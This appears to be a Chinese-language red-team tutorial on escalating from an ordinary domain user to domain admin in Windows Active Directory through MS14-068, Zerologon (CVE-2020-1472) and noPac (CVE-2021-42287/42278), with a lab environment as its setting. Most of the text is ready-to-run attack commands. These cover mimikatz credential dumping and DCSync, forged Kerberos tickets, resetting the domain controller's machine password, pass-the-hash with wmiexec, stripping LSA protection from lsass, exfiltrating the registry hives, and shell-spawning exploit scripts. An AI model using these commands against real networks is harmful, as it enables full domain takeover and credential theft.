域内权限提升

域提权简介

域环境提权,就是从普通域用户权限到域控管理权限

域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域

MS14-068

漏洞简介

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068

漏洞原理

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控DC验证PAC的话,那么客户端可以伪造域管的权限来访问服务器。

image-20230923213639310

利用条件

  1. 域控没有安装MS14-068的补丁KB3011780
  2. 拥有一台域内主机权限
  3. 具有普通域用户密码、Hash值以及用户SUID

漏洞利用

  • 利用环境

http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

利用工具

1
2
3
MS14-068.exe: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Psexec: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

1.漏洞检测

查看是否安装KB3011780补丁来判断是否存在漏洞,一般在域中补丁都是批量安装的

1
wmic qfe

image-20230923215950711

2.获取域用户SID

image-20230923220043363

1
域用户SID: S-1-5-21-4061819907-605441082-604538080-1106

3.获取域用户Hash

场景一:得到域普通用户权限

由于是域普通用户,想要获取Hash值,需要提权到SYSTEM权限

直接执行 getsystem 无法提权,需要通过提权漏洞得到SYSTEM权限,这里我们通过ms15-051得到SYSTEM权限的beacon

  • 获取Hash
1
hashdump

image-20230923220227572

  • 获取密码
1
logonpasswords

image-20230923220548243

image-20230923220710082

场景二:得到主机本地管理员权限

  1. 管理员权限执行 hashdump 获取主机用户 hash 值
  2. 执行 getsystem 得到管理员权限,执行 logonpasswords 获取主机用户明文密码,从而得到普通域用户账号密码
  3. 通过 CS 的 spawn as 功能,通过获得的普通域用户账号密码上线域用户权限 Beacon 会话

4.清除当前用户票据

1
mimikatz kerberos::purge

image-20230923221405291

5.生成认证证书
利用MS14-068.exe提权工具生成伪造的kerberos协议认证证书

1
shell MS14-068.exe -u john@KC -s S-1-5-21-4061819907-605441082-604538080-1106 -p 1qaz@WSX -d 10.10.11.10

6.写入认证证书

利用mimikatz.exe将证书写入,从而提升为域管理员

1
mimikatz kerberos::ptc TGT_de1ay@de1ay.com.ccache

7.验证域管理权限

再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功

CVE-2020-1472 – Netlogon域提权

漏洞简介

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

影响范围

1
2
3
4
5
6
7
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

Zerologon脚本利用

  • 工具
1
2
3
4
5
poc:https://github.com/SecuraBV/CVE-2020-1472.git
exp:https://github.com/blackarrowsec/redteam-research
exp:https://github.com/dirkjanm/CVE-2020-1472
exp:https://github.com/risksense/zerologon
Impacket工具包:https://github.com/SecureAuthCorp/impacket.git
  • 环境
1
2
3
PC的IP地址:10.10.10.30

DC的IP地址:10.10.10.10

1.获取域控主机名称

通过获得PC主机的Beacon会话执行对应命令

1
net group "domain controllers" /domain

image-20230925093536300

1
2
3
net view

shell nslookup DC

image-20230925093726608

image-20230925093742948

dc.kc.local

2.检测是否存在漏洞

https://github.com/SecuraBV/CVE-2020-1472.git

  • 启动Socks代理
1
socks 1080 socks5

image-20230925094258838

  • 通过Socks代理进行漏洞检测
1
proxychains python3 zerologon_tester.py DC 10.10.10.10
  • 上传漏洞检测程序执行
1
zerologon_tester.exe DC 10.10.10.10

3.利用漏洞重置域账号

https://github.com/blackarrowsec/redteam-research

1
proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10

这时候可以看一下用户凭证,DC$的 Hash 已被置空

1
2
3
mimikatz
privilege::debug
lsadump::dcsync /domain:kc.local /all /csv

4.获取域控用户Hash

https://github.com/fortra/impacket.git

正常情况:

1
python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass

可能出现的问题:

https://github.com/fortra/impacket/issues/320

用 mimikatz 的 lsadump::zerologon 功能

5.使用Hash进行横向连接

1
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e9067ca378134e50512ab894de75517 mingy/administrator@10.10.10.10

6.恢复域 - 获取Hash

获取 SAM 数据库

1
2
3
4
# 保存
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY
1
2
3
4
# 下载
get SYSTEM
get SAM
get SECURITY
1
2
3
4
# 删除
del /f SYSTEM
del /f SAM
del /f SECURITY

解密 SAM 数据库

1
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
1
aad3b435b51404eeaad3b435b51404ee:2f7ff113dc8e29e9e2394cdbd05bf2ae

7.恢复域 - 还原Hash

https://github.com/risksense/zerologon

1
proxychains python3 reinstall_original_pw.py DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae
1
shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae

Mimikatz利用漏洞

1.检测是否存在漏洞

1
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$

2.利用漏洞重置域账号

利用漏洞重置域账号密码为空

1
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit

3.获取域控用户Hash

1
2
mimikatz lsadump::dcsync /domain:mingy.local /dc:DC /user:administrator /authuser:DC$ /a
uthdomain:mingy /authpassword:"" /authntlm
1
域管Hash:7e9067ca378134e50512ab894de75517

4.得到域管权限

利用域管理员Hash得到域管权限,执行如下命令后会打开一个具有域管理员权限的cmd.exe进程

  • 获得SeDebugPrivilege权限
1
mimikatz privilege::debug

注意:因为当前beacon用户权限为域内普通用户 MINGY\bob,需要有管理员或者SYSTEM权限才能获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的beacon中执行本步骤操作,这里我们通过ms15-051得到SYSTEM权限的beacon

  • 进行Hash注入
1
mimikatz sekurlsa::pth /user:administrator /domain:mingy /rc4:7e9067ca378134e50512ab894de75517

注意:

Win10环境下需要绕过LSA Protection,该功能需要 mimidrv.sys 文件

使用mimikatz绕过LSA Protection的命令为:

1
2
3
privilege::debug
!+
!processprotect /process:lsass.exe /remove
  • Token窃取得到域管权限

通过窃取具有域管权限的cmd.exe进程Token,得到域管权限:

5.恢复域密码

1
shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae

6.修改域管密码

1
mimikatz lsadump::postzerologon /target:10.10.10.10 /account:DC$

mimikatz会将保存在域中的凭证以及注册表、lsass中的凭证同时修改为”Waza1234/Waza1234/Waza1234/“ ,这样不影响域控的正常工作。

CVE-2021-42287/CVE-2021-42278

漏洞简介

  1. CVE-2021-42278

一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)

  1. CVE-2021-42287

结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

影响范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

漏洞利用

1.获得一个域用户权限

1
2
MINGY\bob
1qaz@PASS

通过获得PC主机的Beacon会话,使用提权漏洞得到SYSTEM权限,执行logonpasswords,得到域用户密码。

2.获取DC的Shell

  • sam-the-admin

https://github.com/WazeHell/sam-the-admin

1
python3 sam_the_admin.py "mingy/bob:1qaz@PASS" -dc-ip 10.10.10.10 -shell
  • noPac

https://github.com/Ridter/noPac

1
proxychains python3 noPac.py -use-ldap mingy.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell